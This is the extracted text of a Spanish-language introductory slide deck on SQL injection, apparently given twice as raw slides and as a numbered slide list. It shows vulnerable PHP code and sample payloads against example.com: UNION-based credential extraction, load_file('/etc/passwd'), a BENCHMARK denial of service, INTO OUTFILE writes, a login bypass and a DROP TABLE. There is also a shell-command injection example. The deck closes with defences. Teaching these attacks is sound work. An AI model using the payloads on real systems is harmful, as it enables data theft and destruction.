Cesar Neira
Estudiante de Ing. Sistemas
Aula H4X0R




                                             Cesar Neira
            Inyecciones SQL
                 para todos
Introducción, explotación y contramedidas.
OWASP Top 10 2004
OWASP Top 10 2004
OWASP Top 10 2007
OWASP Top 10 2007
OWASP Top 10 2010
OWASP Top 10 2010
MITRE – Top 25
MITRE – Top 25
¿Qué está pasando?
¿Qué es una
Inyección SQL?
Fallo de inyección

Un interprete ejecuta
una instrucción enviada
por la aplicación.

La aplicación forma la
instrucción con entradas
del usuario.

El      usuario    envía
entradas especialmente
diseñadas para alterar el
significado     de     la
instrucción
Por ejemplo:

 PROGRAMA   :     system(“ls $dir”);
 ENTRADA    :     $dir
 INTERPRETE :     /bin/bash

       $dir = “images”
       Instrucción: $ ls images
       Hacer un listado del directorio “images”

       $dir = “images && halt”
       Instrucción: $ ls images && halt
       Hacer un listado del directorio “images” y
       luego apagar el sistema.
Lenguaje SQL

Structured Query Language
(lenguaje     de  consulta
estructurado)

Permite    realizar diversas
operaciones sobre bases de
datos relacionales.
Es interpretado por el DBMS.

Existen dialectos específicos
para cada DBMS.
Ejemplos de SQL

SELECT email FROM users;
           webmaster@example.com
            invitado@example.com
              pepito@hotmail.com

SELECT username,password FROM users WHERE
type=1;
              admin    123456
SQLi = Injection + SQL

 INTERPRETE : DBMS   Error de validación de
 LENGUAJE   : SQL    entradas.

                     Permite alterar las
                     consultas SQL.

                     No es un error del
                     DBMS.

                     No es exclusivo de
                     aplicaciones web.
¿Cómo?
Caja Negra

http://example.com/index.php?page=news&id=23


page=news


  id=23

             index.php
Arquitectura

                      SERVIDOR
            HTTP



          INTERNET

CLIENTE              SQL




                     BASE DE DATOS
User: pepito

      http://example.com/news.php?id=23


     /* news.php */
     ...
     $id = $_GET['id'];
     $query = "SELECT * FROM news WHERE id=$id";
     ...


      SELECT * FROM news WHERE id=23
User: Z3r0C001-H@...

       http://example.com/news.php?id=23 OR 1=1


      /* news.php */
      ...
      $id = $_GET['id'];
      $query = "SELECT * FROM news WHERE id=$id";
      ...


      SELECT * FROM news WHERE id=23 OR 1=1
¿Y qué?
Extracción de Datos
UNION SELECT

      http://example.com/news.php?id=23 AND
      1=0 UNION SELECT username,password
      FROM users




      SELECT * FROM news WHERE id=23 AND
      1=0 UNION SELECT username,password
      FROM users
DEMO 1
Extracción de ficheros
LOAD_FILE()

      http://example.com/news.php?id=23 AND
      1=0 UNION SELECT
      1,load_file('/etc/passwd') FROM users




      SELECT * FROM news WHERE id=23 AND
      1=0 UNION SELECT
      1,load_file('/etc/passwd') FROM users
DEMO 2
Ataques DoS
#RefRef
BENCHMARK()


     http://example.com/news.php?id=23 AND 0 =
     BENCHMARK(999999999999,SHA(RAND()))




    SELECT * FROM news WHERE id=23 AND 0 =
    BENCHMARK(999999999999,SHA(RAND()))
DEMO 3
File Upload
OUTFILE / DUMPFILE


      http://example.com/news.php?id=23 AND 0 =
      1 UNION SELECT '','Hello World!' INTO
      OUTFILE '/tmp/hello.txt'



     SELECT * FROM news WHERE id=23 AND 0 =
     1 UNION SELECT '','Hello World!' INTO
     OUTFILE '/tmp/hello.txt'
DEMO 4
xp_cmdshell
MSF - webpayloads
DEMO 5
Login Bypass
Login Bypass

     /* login.php */
     ...
     $user = $_POST['username'];
     $pass = $_POST['password'];
     $query = "SELECT * FROM users WHERE
     username = '$user' AND password = '$pass'";
     ...


     SELECT * FROM users WHERE username =
     'admin' AND password = '' OR '' = ''
Por ejemplo...
Ataque Boby Tables
Ataque Boby Tables

     /* login.php */
     ...
     $user = $_POST['username'];
     $pass = $_POST['password'];
     $query = "SELECT * FROM users WHERE
     username = '$user' AND password = '$pass'";
     ...


     SELECT * FROM users WHERE username = '';
     DROP TABLE users;--' AND password = ''
Y hay más...
Oh, y ahora ¿Quién
podrá defendernos?
Validación de entradas

 - Expresiones regulares

 - Validación de tipo

 - Escapar caracteres
 especiales

 - Librerías de seguridad
 ESAPI

 No solo JavaScript
Consultas
Parametrizadas
Definir primero la consulta y
luego pasarle los parámetros.

- Prepared Statements.

- Storage Procedures.
Permisos de Acceso

- Las aplicaciones no
necesitan la cuenta de
administrador.

- GRANT ALL PRIV... ¿Es
necesario?

- Aplicaciones diferentes,
usuarios diferentes
IDS, IPS, WAF, etc...

- Sistemas de detección y
prevención de intrusos.
(Snort)

- Web Application Firewall.
(mod_security)

- Reescritura de solicitudes
HTTP. (mod_rewrite)

- Basados en patrones.

- No 100% confiables.
Gracias por participar
            muy pronto estamos en provincias
   para más información ingresa a nuestra web


En el 2012 mucho más de nosotros…




                 http://alguienenlafisi.blogspot.com

Inyecciones sql para todos

  • 3.
  • 4.
    Aula H4X0R Cesar Neira Inyecciones SQL para todos Introducción, explotación y contramedidas.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
    Fallo de inyección Uninterprete ejecuta una instrucción enviada por la aplicación. La aplicación forma la instrucción con entradas del usuario. El usuario envía entradas especialmente diseñadas para alterar el significado de la instrucción
  • 16.
    Por ejemplo: PROGRAMA : system(“ls $dir”); ENTRADA : $dir INTERPRETE : /bin/bash $dir = “images” Instrucción: $ ls images Hacer un listado del directorio “images” $dir = “images && halt” Instrucción: $ ls images && halt Hacer un listado del directorio “images” y luego apagar el sistema.
  • 17.
    Lenguaje SQL Structured QueryLanguage (lenguaje de consulta estructurado) Permite realizar diversas operaciones sobre bases de datos relacionales. Es interpretado por el DBMS. Existen dialectos específicos para cada DBMS.
  • 18.
    Ejemplos de SQL SELECT email FROM users; webmaster@example.com invitado@example.com pepito@hotmail.com SELECT username,password FROM users WHERE type=1; admin 123456
  • 19.
    SQLi = Injection+ SQL INTERPRETE : DBMS Error de validación de LENGUAJE   : SQL entradas. Permite alterar las consultas SQL. No es un error del DBMS. No es exclusivo de aplicaciones web.
  • 20.
  • 21.
  • 22.
    Arquitectura SERVIDOR HTTP INTERNET CLIENTE SQL BASE DE DATOS
  • 23.
    User: pepito http://example.com/news.php?id=23 /* news.php */ ... $id = $_GET['id']; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23
  • 24.
    User: Z3r0C001-H@... http://example.com/news.php?id=23 OR 1=1 /* news.php */ ... $id = $_GET['id']; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23 OR 1=1
  • 25.
  • 26.
  • 27.
    UNION SELECT http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users
  • 28.
  • 29.
  • 30.
    LOAD_FILE() http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file('/etc/passwd') FROM users
  • 31.
  • 32.
  • 33.
  • 34.
    BENCHMARK() http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND())) SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
  • 35.
  • 36.
  • 37.
    OUTFILE / DUMPFILE http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt' SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT '','Hello World!' INTO OUTFILE '/tmp/hello.txt'
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
    Login Bypass /* login.php */ ... $user = $_POST['username']; $pass = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; ... SELECT * FROM users WHERE username = 'admin' AND password = '' OR '' = ''
  • 44.
  • 45.
  • 46.
    Ataque Boby Tables /* login.php */ ... $user = $_POST['username']; $pass = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; ... SELECT * FROM users WHERE username = ''; DROP TABLE users;--' AND password = ''
  • 47.
  • 48.
    Oh, y ahora¿Quién podrá defendernos?
  • 49.
    Validación de entradas - Expresiones regulares - Validación de tipo - Escapar caracteres especiales - Librerías de seguridad ESAPI No solo JavaScript
  • 50.
    Consultas Parametrizadas Definir primero laconsulta y luego pasarle los parámetros. - Prepared Statements. - Storage Procedures.
  • 51.
    Permisos de Acceso -Las aplicaciones no necesitan la cuenta de administrador. - GRANT ALL PRIV... ¿Es necesario? - Aplicaciones diferentes, usuarios diferentes
  • 52.
    IDS, IPS, WAF,etc... - Sistemas de detección y prevención de intrusos. (Snort) - Web Application Firewall. (mod_security) - Reescritura de solicitudes HTTP. (mod_rewrite) - Basados en patrones. - No 100% confiables.
  • 53.
    Gracias por participar muy pronto estamos en provincias para más información ingresa a nuestra web En el 2012 mucho más de nosotros… http://alguienenlafisi.blogspot.com